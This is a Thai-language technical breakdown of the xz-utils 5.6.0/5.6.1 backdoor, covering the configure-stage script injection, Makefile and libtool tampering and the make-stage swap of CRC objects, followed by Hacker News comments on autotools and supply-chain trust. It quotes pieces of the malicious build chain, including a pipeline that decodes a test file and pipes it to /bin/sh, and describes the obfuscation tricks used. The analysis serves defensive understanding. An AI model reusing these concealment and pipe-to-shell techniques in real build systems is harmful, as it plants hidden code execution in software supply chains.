- การโจมตี xz แบ่งเป็น การฉีดโค้ดเชลล์ในขั้น
configure และการฉีดไฟล์อ็อบเจ็กต์ในขั้น make โดยการวิเคราะห์นี้ติดตามกระบวนการที่สคริปต์ใน tarball แจกจ่ายของ xz 5.6.0·5.6.1 สอดแทรกไฟล์อ็อบเจ็กต์แบ็กดอร์เข้าไปในบิลด์
- โค้ดอันตรายและไฟล์อ็อบเจ็กต์ถูกซ่อนไว้ด้วยการบีบอัดและเข้ารหัสให้ดูเหมือน ไฟล์อินพุตทดสอบแบบไบนารี ใน
tests/files และคำอธิบายใน README เดิมที่บอกว่าเป็น “ไฟล์ทดสอบที่ทำด้วยมือ” ก็ช่วยให้การพรางตัวแนบเนียนขึ้น
- โค้ดที่ถูกเพิ่มใน
m4/build-to-host.m4 จะค้นหา bad-3-corrupt_lzma2.xz แล้วกู้คืนด้วย tr และ xz -d ก่อนรันด้วย /bin/sh และใน 5.6.1 ยังมี กลไกขยาย สำหรับค้นหาสคริปต์เพิ่มเติมจากไฟล์ทดสอบใหม่ด้วย
- สคริปต์ configure จะแก้
src/liblzma/Makefile และ libtool เพื่อให้รันสคริปต์ที่ซ่อนไว้อีกครั้งระหว่าง make พร้อมปรับแฟล็ก -z,now และแฟล็กที่เกี่ยวกับ PIC เพื่อให้ ifunc resolver ถูกเรียกในช่วงลิงก์แบบไดนามิกตอนเริ่มต้น
- ในขั้น make จะดึงและถอดรหัสอ็อบเจ็กต์อันตรายจาก
good-large_compressed.lzma แล้วสลับผลลัพธ์การบิลด์ของ crc64_fast.c และ crc32_fast.c เพื่อให้สามารถดักการเรียก RSA_public_decrypt ผ่าน _get_cpuid ได้
โครงสร้างทั้งหมดของการโจมตี
- Andres Freund แจ้ง การมีอยู่ของการโจมตี xz ต่อเมลลิงลิสต์
oss-security@openwall เมื่อ 2024-03-29
- วันก่อนหน้านั้นก็ได้แจ้ง Debian security และลิสต์แบบปิด
distros@openwall ด้วย
- จุดเริ่มต้นคือเขาพบอาการผิดปกติที่เกี่ยวกับ
liblzma ระหว่างติดตั้ง Debian sid ได้แก่การใช้ CPU สูงขณะล็อกอิน SSH และข้อผิดพลาดจาก Valgrind
- การโจมตีประกอบด้วยสองขั้นหลัก
- มีการฉีดโค้ดเชลล์ระหว่าง
configure
- โค้ดเชลล์นี้จะฉีดโค้ดเชลล์เข้า
make อีกครั้ง และเพิ่มไฟล์อ็อบเจ็กต์อันตรายเข้าไปในบิลด์ระหว่าง make
- หากเก็บไฟล์อ็อบเจ็กต์อันตรายไว้ในรีโพซิทอรีตรง ๆ เช่น
evil.o ก็จะน่าสงสัยเกินไป ดังนั้นผู้โจมตีจึงซ่อนโค้ดเชลล์และไฟล์อ็อบเจ็กต์ไว้ใน ไฟล์อินพุตทดสอบแบบไบนารี โดยบีบอัดและเข้ารหัสไว้
- ไดเรกทอรี
tests/files มีอยู่ตั้งแต่ก่อนที่ Jia Tan จะเข้ามา และ README อธิบายว่าเป็นไฟล์สำหรับทดสอบตัวถอดรหัส .xz, .lzma, .lz โดยบางไฟล์สร้างขึ้นเองด้วย hex editor พร้อมอธิบายว่า “ไม่มีซอร์สโค้ดไหนดีกว่าไฟล์นั้นเอง”
- ผู้โจมตีใช้บริบทนี้ทำให้ดูเหมือนแค่เพิ่มไฟล์ทดสอบใหม่ไม่กี่ไฟล์
จุดรันที่แบ็กดอร์ตั้งเป้าไว้
- ผลสุดท้ายของสคริปต์คือทำให้ฟังก์ชัน
_get_cpuid ในไฟล์อ็อบเจ็กต์อันตรายถูกเรียกเป็นส่วนหนึ่งของ GNU indirect function(ifunc) resolver
- โดยทั่วไป ifunc resolver อาจถูกเรียกแบบหน่วงระหว่างการรันโปรแกรมได้ แต่ในทางปฏิบัติมักมีการเรียกทั้งหมดตั้งแต่ช่วงต้นของการลิงก์แบบไดนามิกและแมป GOT·PLT เป็นแบบอ่านอย่างเดียวเพื่อเหตุผลด้านความปลอดภัย
- ifunc resolver อันตรายจึงสามารถทำงานได้ในช่วงเริ่มต้นที่ GOT·PLT ยังเขียนได้อยู่
- แบ็กดอร์จะค้นหา
RSA_public_decrypt ในตารางแล้วแทนที่ด้วยเวอร์ชันของผู้โจมตี
- ฟังก์ชันที่ถูกแทนที่จะรันโค้ดของผู้โจมตีเมื่อมีการนำเสนอใบรับรอง SSH ที่ถูกต้อง
ขั้น configure: การอำพรางใน build-to-host.m4
- xz-utils ใช้ GNU autoconf และโดยทั่วไป
configure กับไฟล์ m4 สนับสนุนจะถูกรวมมาใน tarball แจกจ่าย ไม่ใช่ในซอร์สรีโพซิทอรี
- การโจมตีเริ่มจากการเพิ่มไลบรารีช่วยเหลือที่ไม่คาดคิด
m4/build-to-host.m4 เข้าไปใน tarball ของ xz 5.6.0 และ xz 5.6.1
build-to-host.m4 ที่เป็นอันตรายมีการแก้ไขที่ดูสมเหตุสมผลเมื่อเทียบกับไฟล์มาตรฐาน
- เพิ่ม serial จาก
3 เป็น 30
- เปลี่ยนปีลิขสิทธิ์จาก
2023 เป็น 2023-2024
- เพิ่มการเปลี่ยนแปลง shell·m4 บางส่วนที่สังเกตได้ยาก
- แกนจริงคือโค้ด
grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ ที่ค้นหารูปแบบเฉพาะภายในแพ็กเกจแจกจ่าย
- ไฟล์ที่ตรงกับแพตเทิร์นนี้คือ
./tests/files/bad-3-corrupt_lzma2.xz
- ผลลัพธ์คือ
gl_am_configmake จะชี้ไปยังไฟล์ทดสอบนี้
gl_path_map ถูกตั้งเป็น tr "\t \-_" " \t_\-" เพื่อสลับแท็บ·ช่องว่าง และขีดล่าง·ขีดกลางกันไปมา
การกู้คืนสคริปต์แรกที่ซ่อนไว้
gl_[$1]_prefix จะดึงส่วนหลังจุดสุดท้ายของชื่อไฟล์ออกมา จึงได้ค่าเป็น xz
- ชื่อดูเหมือน prefix แต่จริง ๆ แล้วคือส่วนขยายไฟล์
- มันจึงกลายเป็นชื่อคำสั่งบีบอัดที่มีแนวโน้มว่าจะติดตั้งอยู่แล้วบนเครื่องบิลด์
- สตริงคำสั่งที่ถูกสร้างขึ้นหลังจากนั้น แม้ภายนอกจะดูเหมือนใช้
sed "r\n" แต่จริง ๆ แล้วใกล้เคียงกับ cat ที่ถูกทำให้อ่านยาก มากกว่า
sed แบบ r\n เป็นคำสั่งให้พยายามอ่านไฟล์ \n ที่ไม่มีอยู่จริง จึงไม่เกิดอะไรขึ้น
- เพราะไม่มี
-n จึงพิมพ์อินพุตออกมาตามเดิม
- คำสั่งที่ถูกรันจริงมีรูปแบบดังนี้
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
- คำสั่งนี้ถูกประเมินผ่าน
AC_CONFIG_COMMANDS ระหว่างการรัน config.status
- เอาต์พุตที่กู้คืนได้มี
####Hello#### และ ####World#### ปรากฏอยู่ และตาม README แล้ว สตรีมแรกและสตรีมที่สามของ bad-3-corrupt_lzma2.xz เป็น xz stream ที่ถูกต้อง ส่วนสตรีมตรงกลางเท่านั้นที่ข้อมูล LZMA2 เสียหาย
ความต่างระหว่าง 5.6.0 กับ 5.6.1
- สคริปต์แรกที่กู้คืนได้จาก xz 5.6.0 จะตัดช่วงไบต์เฉพาะออกจาก
good-large_compressed.lzma แล้วแปลง ก่อนคลายเป็น raw LZMA stream และส่งต่อให้ /bin/sh
- สคริปต์แรกของ xz 5.6.1 มีบรรทัดที่พยายามออกจากการทำงานหากไม่ใช่ Linux อยู่ห้าครั้ง
[ ! $(uname) = "Linux" ] && exit 0
- หลังจากนั้นในสคริปต์ยาวที่เป็นเป้าหมายการวิเคราะห์ก็ยังมีบรรทัดตรวจ Linux เฉพาะของ 5.6.1 อยู่ด้วย
- บรรทัดนั้นมีบั๊กเพราะไม่มีช่องว่างรอบ
= จึงทำงานไม่ถูกต้อง
- 5.6.1 ใช้จำนวนไบต์สุดท้ายของ
head, ออฟเซ็ตของ tail, และอาร์กิวเมนต์ tr ต่างจาก 5.6.0
- ในตัวอย่าง 5.6.1 จะดึง
16×2048+939 = 33,707 ไบต์
- หลังจากนั้นใช้ 31,233 ไบต์สุดท้ายด้วย
tail -c +31233
- pipeline สำหรับการดึงข้อมูลประกอบด้วยขั้นต่อไปนี้
- คลาย
good-large_compressed.lzma ด้วย xz -dc
- ดึงช่วงไบต์ที่ต้องการด้วย pipeline ของ
head
- เลือกช่วงท้ายด้วย
tail
- ใช้รหัสแทนที่แบบง่ายด้วย
tr
- คลาย raw LZMA stream ด้วย
xz -F raw --lzma1 -dc
- รันผลลัพธ์ด้วย
/bin/sh
กลไกขยายของ 5.6.1
- ในสคริปต์ยาวมีหลายจุดที่
eval ตัวแปรซึ่งไม่ได้ถูกตั้งค่าไว้
- ตัวอย่าง:
eval $zrKcVq, eval $zrKcSS
- อาจเป็นจุดขยายสำหรับการดีบักเอาต์พุต หรือสำหรับตั้งค่าจากกลไกอื่นในอนาคต
- หากมี
config.status สคริปต์จะอ่าน LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map เป็นต้น
- โค้ดขยายที่เพิ่มใหม่ใน 5.6.1 จะค้นหาสตริงเวทสองตัวใน
tests/files
- สตริงเริ่มต้น:
~!:_ W
- สตริงสิ้นสุด:
|_!{ -
- หากทั้งสองสตริงอยู่ในไฟล์เดียวกัน ก็จะดึงไบต์ระหว่างนั้นออกมา แล้วผ่าน
tr และการคลาย raw LZMA2 ก่อนนำเอาต์พุตไป eval
- กลไกนี้ดูเหมือนถูกเตรียมไว้เพื่อใส่สคริปต์ใหม่ลงในไฟล์ทดสอบอื่นในภายหลัง โดยไม่ต้องสร้างเหตุผลใหม่ว่ามีการสร้างไฟล์ทดสอบไบนารีเดิมขึ้นมาอีกครั้ง
เงื่อนไขการรันในขั้น configure
- สคริปต์จะออกจากการทำงานอย่างเงียบ ๆ หากเงื่อนไขที่จำเป็นต่อแบ็กดอร์ไม่ตรง
- ต้องเปิดใช้ GNU ifunc support
- ต้องมี
["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1" ใน config.status
- ต้องมี
define HAVE_FUNC_ATTRIBUTE_IFUNC 1 ใน config.h
- ต้องเปิดการบิลด์ shared library
enable_shared ต้องเป็น yes
- เป้าหมายการบิลด์ต้องเป็น x86-64 Linux
build ต้องตรงกับเงื่อนไข ^x86_64 และ linux-gnu$
- ซอร์สที่เกี่ยวกับ CRC ifunc ต้องยังอยู่ครบ
crc64_fast.c
crc32_fast.c
crc_x86_clmul.h
- ยังตรวจเงื่อนไขของคอมไพเลอร์และลิงเกอร์ด้วย
GCC=yes
CC=gcc
- เอาต์พุตของ
LD -v ต้องมี GNU ld
- ต้องมีไฟล์ทดสอบที่บรรจุแบ็กดอร์คือ
good-large_compressed.lzma และ bad-3-corrupt_lzma2.xz
การแก้ไข Makefile และ libtool
- หากมี
debian/rules หรือ RPM_ARCH=x86_64 โค้ดสำหรับแก้ src/liblzma/Makefile จะถูกรันในขั้น configure
- ก่อนอื่นจะตรวจว่ามีหลายบรรทัดใน Makefile ที่จะใช้เป็นจุดแทรกในภายหลังหรือไม่
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
am__uninstall_files_from_dir = {
am__install_max =
am__vpath_adj_setup =
am__include = include
all: all-recursive
LTLIBRARIES = $(lib_LTLIBRARIES)
AM_V_CCLD = $(am__v_CCLD_$(V))
- ใน
libtool จะตรวจว่ามี pic_flag=" -fPIC -DPIC" หรือไม่
- หลังจากนั้นจะใช้
sed -i แทรกบรรทัดที่มีลักษณะดังนี้กระจายไว้หลายจุดใน Makefile
am__test = bad-3-corrupt_lzma2.xz
am__strip_prefix = tr ...
am__dist_setup = ... | xz -d ... | $(SHELL)
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
am__test_dir แม้ชื่อจะดูเหมือนไดเรกทอรี แต่จริง ๆ แล้วชี้ไปยังไฟล์
- บรรทัดที่ถูกเพิ่มไม่ได้ถูกรวมไว้ที่เดียว แต่แทรกกระจายไปทั่ว Makefile เพื่อให้ Makefile ที่ถูกสร้างขึ้นดูซับซ้อนอย่างเป็นธรรมชาติ
แฟล็กลิงเกอร์และการรันซ้ำแบบรีเคอร์ซีฟ
- สคริปต์ในขั้น configure จะเพิ่ม
-Wl,--sort-section=name,-X เข้าไปใน liblzma_la_LDFLAGS
- หาก
LDFLAGS เดิมไม่มี -z,now หรือ -z -Wl,now ก็จะเพิ่ม -z,now เข้าไปด้วย
-Wl,now ทำให้ dynamic loader แก้ทุกสัญลักษณ์ตั้งแต่ตอนเริ่มโปรแกรม จึงบังคับพฤติกรรมแบบ LD_BIND_NOW
- ระหว่างกระบวนการนี้ ifunc resolver จะถูกรันตั้งแต่เริ่มต้น
- แบ็กดอร์จึงทำงานได้ตอนที่ GOT·PLT ยังเขียนได้อยู่
- แฟล็ก PIC ใน
libtool ถูกเปลี่ยนเป็นดังนี้
- เดิม:
-fPIC -DPIC
- เปลี่ยนเป็น:
-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
- สคริปต์ยังเพิ่ม
AM_V_CCLD และชิ้นส่วนเชลล์ยาว ๆ เข้าไปใน Makefile ด้วย
- ตอนท้ายจะรัน
sed rpath $(am__test_dir) | $(am__dist_setup)
sed rpath เองก็ทำหน้าที่เป็น cat แบบทำให้อ่านยากเช่นกัน
- ผลคือระหว่าง make จะมีการรัน pipeline ต่อไปนี้อีกครั้ง
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh
ขั้น make: การดึงไฟล์อ็อบเจ็กต์
- ในขั้น make สคริปต์จะถูกรันอีกครั้งในไดเรกทอรี
src/liblzma
- เพราะไม่มี
config.status ในไดเรกทอรีปัจจุบัน จึงข้ามส่วนแก้ไข Makefile ของขั้น configure ไป
- แต่ถ้ามี
.libs/liblzma_la-crc64_fast.o และ .libs/liblzma_la-crc32_fast.o ก็จะถือว่ากำลังอยู่ระหว่าง make แล้วรันโค้ดถัดไป
- ใน 5.6.1 ยังเพิ่ม extension hook สำหรับขั้น make เข้ามาใหม่ด้วย
- สตริงเริ่มต้น:
jV!.^%
- สตริงสิ้นสุด:
%.R.1Z
- ไม่มีไฟล์ทดสอบใดมีสตริงเหล่านี้ จึงดูเป็นโครงสร้างสำหรับขยายในอนาคต
- ยังตรวจอีกครั้งว่าซอร์สที่เกี่ยวกับ CRC ifunc อยู่ในสภาพที่คาดไว้
- รวมถึงตรวจว่าแฟล็กคอมไพล์และลิงก์ที่เพิ่มไว้ในขั้น configure ถูกใช้งานอยู่หรือไม่
../../libtool ต้องมีแฟล็ก PIC ที่เพิ่มไว้
liblzma_la_LINK ต้องมี -z,now หรือ -z -Wl,now
- หากมี
lazy อยู่จะออกจากการทำงาน
การถอดรหัสและเลือกอ็อบเจ็กต์อันตราย
- สคริปต์จะเลือกค่าออฟเซ็ตหนึ่งในสองค่าตามเนื้อหาใน
gettext.m4
- เนื่องจาก
gettext.m4 ใน tarball xz ที่แจกจ่ายไม่มีสตริงที่ตรวจหา ในบิลด์ตัวอย่างจึงใช้ข้อมูลอินพุตทั้งหมด
- จะคลาย
good-large_compressed.lzma อีกครั้ง แล้วดึง 33,707 ไบต์ด้วย pipeline head ที่ตั้งไว้ก่อนหน้าในตัวแปร i
- จากนั้นแบ่งเอาต์พุตเป็นหน่วยไบต์แล้วใช้
awk รัน ฟังก์ชันถอดรหัสคล้าย RC4
- เวอร์ชัน 5.6.1 จะวนลูปที่สองไปถึง 8192
- เวอร์ชัน 5.6.0 จะวนลูปในตำแหน่งเดียวกันไปถึง 4096
- เอาต์พุตที่ถอดรหัสแล้วจะถูกคลายต่อด้วย
xz -dc --single-stream
--single-stream จะหยุดที่ xz EOF marker แรก จึงไม่อ่านช่วงข้อมูลที่ถูกตัดออกมาก่อนหน้านี้ด้วย tail
- ผลลัพธ์สุดท้ายถูกเขียนไปที่
liblzma_la-crc64-fast.o
การสลับอ็อบเจ็กต์ CRC
- สคริปต์จะสำรองผลลัพธ์บิลด์จริง
.libs/liblzma_la-crc64_fast.o ไว้เป็น .libs/liblzma_la-crc64-fast.o ที่ชื่อคล้ายกัน
- อาศัยความต่างระหว่างขีดล่าง (
crc64_fast) กับขีดกลาง (crc64-fast)
- จากนั้นจะคอมไพล์
crc64_fast.c ที่ถูกแก้ด้วย sed แล้วใส่ไฟล์อ็อบเจ็กต์อันตราย liblzma_la-crc64-fast.o ที่ดึงออกมาเป็นอินพุตร่วม เพื่อเขียนทับ .libs/liblzma_la-crc64_fast.o
- โค้ด C ที่ถูกแทรกจะสร้าง
_is_arch_extension_supported ขึ้นใหม่ และเรียก _get_cpuid ภายใน
crc64_resolve เดิมจะถูกเปลี่ยนให้เรียก _is_arch_extension_supported() แทน is_arch_extension_supported()
_get_cpuid เป็นฟังก์ชันที่มาจากไฟล์อ็อบเจ็กต์แบ็กดอร์ และจะทำงานเพิ่มเติมก่อนคืนค่าข้อมูล cpuid
- โดยเฉพาะคือแก้ GOT·PLT เพื่อดักการเรียก
RSA_public_decrypt
การจัดการฝั่ง crc32 และการเก็บกวาด
- หากการแก้ไขฝั่ง crc64 สำเร็จ สคริปต์จะใช้การแก้ไขคล้ายกันกับ
crc32_fast.c ด้วย
- ฝั่ง crc32 จะไม่เพิ่มไฟล์อ็อบเจ็กต์แบ็กดอร์เข้าไป
- เพื่อหลีกเลี่ยงการใส่อ็อบเจ็กต์แบ็กดอร์ซ้ำสองครั้งในบิลด์
- ยังไม่ชัดเจนว่าทำไมต้องดักทั้ง crc32 และ crc64 ifunc
- จากการวิเคราะห์ดูเหมือนเพียงตัวเดียวก็เพียงพอแล้ว
- อาจต้องการให้โค้ด dispatch ทั้งสองส่วนดูคล้ายกันเมื่อดูในดีบักเกอร์
- หากคอมไพล์ทั้งสองตัวสำเร็จ ก็จะ relink ไฟล์
.la ด้วย liblzma_la_LINK
- ถ้าลิงก์สำเร็จแต่ไม่มี
.libs/liblzma.so จะถือว่าล้มเหลวและกู้คืนไฟล์สำรอง
- ไม่ว่าจะสำเร็จหรือไม่ จะลบ
.libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, .libs/liblzma.so* เสมอ
- โดยตั้งสมมุติฐานว่าขั้นลิงก์เดิมของ Makefile จะสร้างขึ้นใหม่อีกครั้งหลังจากนั้น
- ในเส้นทางล้มเหลว จะคืนค่าอ็อบเจ็กต์สำรองของ crc32·crc64 กลับเป็นชื่อเดิม
- ท้ายที่สุดจะลบไฟล์ชั่วคราวและไฟล์สำรอง เพื่อฉีดอ็อบเจ็กต์อันตรายเข้าไปในผลลัพธ์ของ make โดยไม่ทิ้งร่องรอย
1 ความคิดเห็น
ความคิดเห็นจาก Hacker News
ในฐานะคนที่ไม่ชอบ autotools มานาน ก็อยากจะบอกว่าเหตุการณ์นี้พิสูจน์ว่าจุดยืนของผมถูกต้อง แต่ถ้าเป็นระบบ build ที่ซับซ้อนพอจะรองรับ หลายแพลตฟอร์ม ได้ มันก็หลีกเลี่ยงไม่ได้ที่จะกลายเป็นสิ่งที่เข้าใจยากจนมีคนยัดอะไรแบบนี้เข้าไปได้
ถึงอย่างนั้น การที่ซอฟต์แวร์จำนวนมากถูก build ด้วย สคริปต์เชลล์แบบ cargo cult ขนาดมหึมา ที่แทบไม่มีใครเข้าใจทั้งหมดจริง ๆ ก็เป็นปัญหามาก
ถ้า build script เขียนด้วย Python การ obfuscate backdoor คงยากกว่านี้มาก เพราะทุกคนคงเห็นว่ามันเป็นโค้ดแปลก ๆ แต่โค้ด bash มักถูกมองว่าเป็นเรื่องปกติ แม้จะอ่านไม่ออกก็ตาม
./configure && make && make installการขาด best practice อย่างสิ้นเชิงสำหรับ flow นี้คือรากของความซับซ้อน ดังนั้นภายใต้เงื่อนไขแบบนี้ ไฟล์ตั้งค่า build อย่าง
mybuild.tomlไฟล์เดียวจึงแก้ไม่ได้อีกอย่างก็สงสัยว่าทำไมการ build สิ่งอย่างไลบรารีบีบอัดข้อมูล ซึ่งโดยเนื้อแท้แล้วควรทำแค่คณิตศาสตร์กับการจัดสรรหน่วยความจำ ถึงต้องใช้ระบบที่ซับซ้อนด้วย
ในฐานะนักพัฒนา เรื่องนี้น่าทึ่งมาก และสิ่งที่ดูในสายตาผมเหมือน วิธีโจมตีระดับสุดยอด อาจเป็นแค่ระดับต้นถึงกลางสำหรับคนที่ทำงานในขั้นนี้ก็ได้
ใน HN ยังมีสิ่งที่ระดับสูงกว่านี้มาก ดังนั้นถ้ามีเงินหรือแรงจูงใจอื่นมากพอ ผมคิดว่านี่เป็นเพียงจุดเริ่มต้นของสิ่งที่เป็นไปได้เท่านั้น เมื่อคิดถึงแพ็กเกจจำนวนมหาศาลบน GitHub และไลบรารีนับล้าน vector นี้มีประสิทธิภาพเกินไป ผมจึงมั่นใจว่าในอีกไม่กี่เดือนข้างหน้าจะมีกรณีคล้ายกันถูกเปิดเผยออกมาเป็นร้อย
ผมกังวลกับบริษัทฮาร์ดแวร์ผู้บริโภคและ prosumer ตั้งแต่ Philips Hue ไปจนถึง Alexa, SumUp, ผู้ผลิตกล้อง, Netgear, TP-Link ภายในผลิตภัณฑ์เต็มไปด้วยไลบรารีโอเพนซอร์ส และผมมั่นใจ 100% ว่าทีมพัฒนาส่วนใหญ่ไม่ได้ใช้เวลาไปกับการมองหา vector การแทรกแบบลับ ๆ แบบนี้
องค์กรเชิงพาณิชย์ที่ชูเรื่องความน่าเชื่อถือจะทำ การวิเคราะห์ supply chain ก่อนรับ dependency มาใช้ ดังนั้นโดยปกติจึงยอมจ่ายเงินให้ Red Hat เพื่อดูแล Linux distribution ที่เสถียร และโปรเจกต์อย่าง FreeBSD จึงจำกัดซอฟต์แวร์ที่รวมมากับการติดตั้งพื้นฐานอย่างเข้มงวด
ถ้าคุณได้รับผลกระทบจากเรื่องนี้ก็น่าเสียดาย แต่นั่นเป็นความรับผิดชอบของคุณเอง ถ้ากังวลว่านักพัฒนาซอฟต์แวร์ที่คุณใช้ฟรีเหมือนเบียร์ฟรีจะเปลี่ยนใจกลายเป็นอีกคน ก็ต้องให้แรงจูงใจที่ทำให้เขาไม่ทำแบบนั้น คือจ่ายเงิน หรือไม่ก็ fork โปรเจกต์แล้วใส่มาตรการความปลอดภัยของตัวเอง
ถ้ากังวลว่าจะเกิด supply chain attack ใน dependency ของซอฟต์แวร์เชิงพาณิชย์ ก็ต้องเจรจาสัญญาที่รวมการชดเชยความเสียหายนั้นไว้ด้วย ถ้าไม่เต็มใจทำแบบนั้นก็ไม่เป็นมืออาชีพ
เพิ่มเติมคือ ผมพูดอย่างจริงจังว่าแม้แต่ dependency พื้นฐานที่สุดอย่าง SSH ก็ต้องตรวจสอบ supply chain
บทความด้าน infosec ช่วงแรก ๆ ก็อธิบายได้แค่บางส่วนของโค้ด และยังไม่ครอบคลุมกลยุทธ์ทั้งหมดของการโจมตี เพราะทั้งการโจมตีและโค้ดมีความซับซ้อน การที่บทวิเคราะห์ช่วงแรกอธิบายการโจมตีแตกต่างกันก็เพราะมันไม่ใช่เรื่องเข้าใจง่าย และภายหลังจึงมีบทความทำนองว่า “ในที่สุดก็ดูเหมือนจะเป็นการโจมตี remote code execution” ออกมา
ตอนนี้มีแม้กระทั่ง scanner สำหรับตรวจหาช่องโหว่บนเซิร์ฟเวอร์แล้ว ทุกคนเลยพูดได้ว่า “อ้อ นั่นเป็นการโจมตีที่เรียบง่ายและโง่มาก ทำไมถึงไม่เจอเร็วกว่านี้นะ?” เท่านั้นเอง
เรื่องนี้ใช้กับทุกอุปกรณ์เหมือนกัน ผมไม่ชอบที่ Android ต้องใช้ kernel เก่า และก็ไม่ชอบที่ macOS เคยรันสายตระกูล Darwin/BSD ที่ล้าสมัย ผมกังวลกับความพยายามที่ต้องใช้ในการ backport
แน่นอนว่านี่ไม่ได้หมายความว่าโอเพนซอร์สไม่มีช่องโหว่
บางทีสิ่งที่ควรกลัวมากกว่าคือ backdoor ที่มองไม่เห็นภายในซอฟต์แวร์ proprietary ซึ่งแทบจะไม่ถูกค้นพบเลย
ดูเหมือนว่ายังไม่มีใครพูดถึง infographic ของ Thomas Roccia ที่นี่: https://twitter.com/fr0gger_/status/1774342248437813525
ตัวอย่างเช่น oss-fuzz build xz โดย clone repository บน GitHub โดยตรง backdoor อยู่เฉพาะใน tarball ไม่ได้อยู่ใน repository ดังนั้น oss-fuzz ไม่มีทางพบ backdoor ได้ เพราะฉะนั้น PR ของ oss-fuzz นั้นอาจเป็นการเปลี่ยนแปลงจริงที่ไม่เกี่ยวกับ backdoor ก็ได้
มีความเป็นไปได้แค่ไหนที่มีบัญชีหรือบุคคลอื่นรอบตัว Andreas Freund ที่รู้ก่อนหน้านั้นว่า backdoor กำลังจะถูกเปิดเผย เรื่องนี้ยังทำให้คิดว่าอาจยังมี คนวงในคนอื่น อยู่แถว ๆ นั้น
.gitignoreทุกวันนี้ตรวจจับเรื่องแบบนี้ได้ยากส่วนที่สะดุดตาที่สุดจากมุมมองของผู้สังเกตการณ์ที่ไม่รู้อะไรคือสิ่งนี้
“ไฟล์จำนวนมากถูกสร้างขึ้นด้วยมือด้วย hex editor ดังนั้นจึงไม่มี ‘ซอร์สโค้ด’ ที่ดีกว่าตัวไฟล์เอง” เข้าใจได้ว่าในไลบรารีสำหรับพาร์สอย่าง liblzma อาจเป็นแบบนั้น ผู้โจมตีน่าจะดูเหมือนแค่เพิ่มไฟล์ทดสอบใหม่ไม่กี่ไฟล์
ตัวไฟล์เองก็น่ากลัวอยู่ แต่ก็พอเข้าใจเหตุผลได้ ถึงอย่างนั้นอย่างน้อยก็น่าจะแยกออกจากขั้นตอน build ได้ไม่ใช่หรือ
“โดยปกติสคริปต์ configure และไลบรารีสนับสนุนจะถูกเพิ่มเฉพาะใน tarball สำหรับแจกจ่าย ไม่ใช่ในซอร์สรีโพซิทอรี การแจกจ่าย xz ก็เป็นแบบนี้”
พักความโกรธตามธรรมเนียมต่อ autotools ไว้ก่อน ผมไม่เข้าใจว่าทำไมไฟล์ทดสอบต้องอยู่ใน tarball ด้วย การทดสอบที่เป็นอันตรายอาจทำให้เครื่องของนักพัฒนาติดเชื้อได้ก็จริง แต่ถ้า tarball มีไว้เพื่อ build ผลลัพธ์สุดท้าย ก็น่าจะมีนโยบายรวมเฉพาะสิ่งที่จำเป็นไม่ใช่หรือ โดยเฉพาะอย่างยิ่งเมื่อไฟล์ทดสอบเป็น ก้อน binary ที่ audit ไม่ได้
แต่ครั้งล่าสุดที่เราทำแบบนั้น เราเลือกใช้ Git upstream และสร้างผลลัพธ์ autoconf ที่จำเป็นเอง แนวคิดเรื่อง release tarball ที่มีสิ่งซึ่งไม่มีใน Git อยู่ด้วยนั้นไม่เคยถูกใจเลย
ควรต้องสามารถคอมไพล์โค้ดบนเครื่องเป้าหมายแล้วรันเทสต์ได้
“ความแตกต่างแรกคือสคริปต์ทำให้แน่ใจว่า ถ้าไม่ได้รันบน Linux จะต้องจบการทำงานอย่างแน่นอน แบบแน่เสียยิ่งกว่าแน่”
การตรวจซ้ำ ๆ นั้นเป็นปริศนาจริง ๆ สมมติฐานของผมคือผู้โจมตีอาจใส่การทำซ้ำเพื่อให้ดูสมจริงเหมือน input ทดสอบของไลบรารีบีบอัด
หรือไม่ก็แค่ขี้เกียจ
ดูเหมือนจงใจ แต่ไม่รู้ว่ามีไว้ทำไม ตอนแรกคิดว่าอาจเพิ่มมาเพื่อเติมขนาด เพราะ xz อาจข้ามการบีบอัดถ้า input สั้นหรือไม่ซับซ้อนเกินไป แต่พอลบออกแล้วบีบอัดใหม่ด้วย xz ก็ยังบีบอัดได้ตามปกติ และ plaintext เดิมก็ไม่เหลืออยู่ในไบต์ของ archive ที่บีบอัดแล้ว
สิ่งที่พบระหว่างพยายามทำซ้ำไบต์ที่แน่นอนของไฟล์
.xzที่ commit ใน Git คือ xz stream ของสคริปต์นั้นดูเหมือนไม่ได้ถูกบีบอัดด้วย preset มาตรฐานของ xz ต้องใช้xz --lzma2=dict=65536 -c stream_2ถึงจะทำซ้ำได้ และ preset แบบตัวเลขมาตรฐานทั้งหมดเลือก ขนาดพจนานุกรม ที่ต่างออกไป เรื่องนี้ก็ดูเหมือนจงใจ แต่ยังไม่เข้าใจเหตุผลถ้าไม่มีการทำซ้ำ ภายในไฟล์บีบอัดอาจเกิด binary แปลก ๆ ที่ไปกระตุ้นเครื่องมือความปลอดภัยหรือแอนติไวรัสก็ได้
เป็นเรื่องตลกร้ายที่เทคโนโลยีสมัยใหม่ซับซ้อนอย่างโหดร้ายและเข้าใจยากโดยไม่จำเป็น และมันก็แย่ลงเรื่อย ๆ เหมือนนักพัฒนาจะสนุกกับมันแบบซาดิสต์
เป็นเรื่องน่าทึ่งทีเดียวที่เครื่องมือต่าง ๆ ไล่ตามความซับซ้อนของผลิตภัณฑ์ที่เราสร้างขึ้นได้ พูดตามตรง ในกรณีส่วนใหญ่ มันก็แค่ง่ายขึ้นกว่าเดิม และใกล้เคียงกับการที่ผู้คนไม่อยากเรียนรู้สิ่งใหม่มากกว่า
ใครก็ตามที่จ้างคนเหล่านี้ให้แทรกซึมเข้าไปในโปรเจกต์นี้ คงทุ่มเวลาอย่างมหาศาลเพื่อทำให้มันหลบการตรวจจับได้เป็นเวลานาน โชคดีที่มันซับซ้อนเกินไปจนพวกเขาพิจารณาองค์ประกอบทั้งหมดไม่ครบ
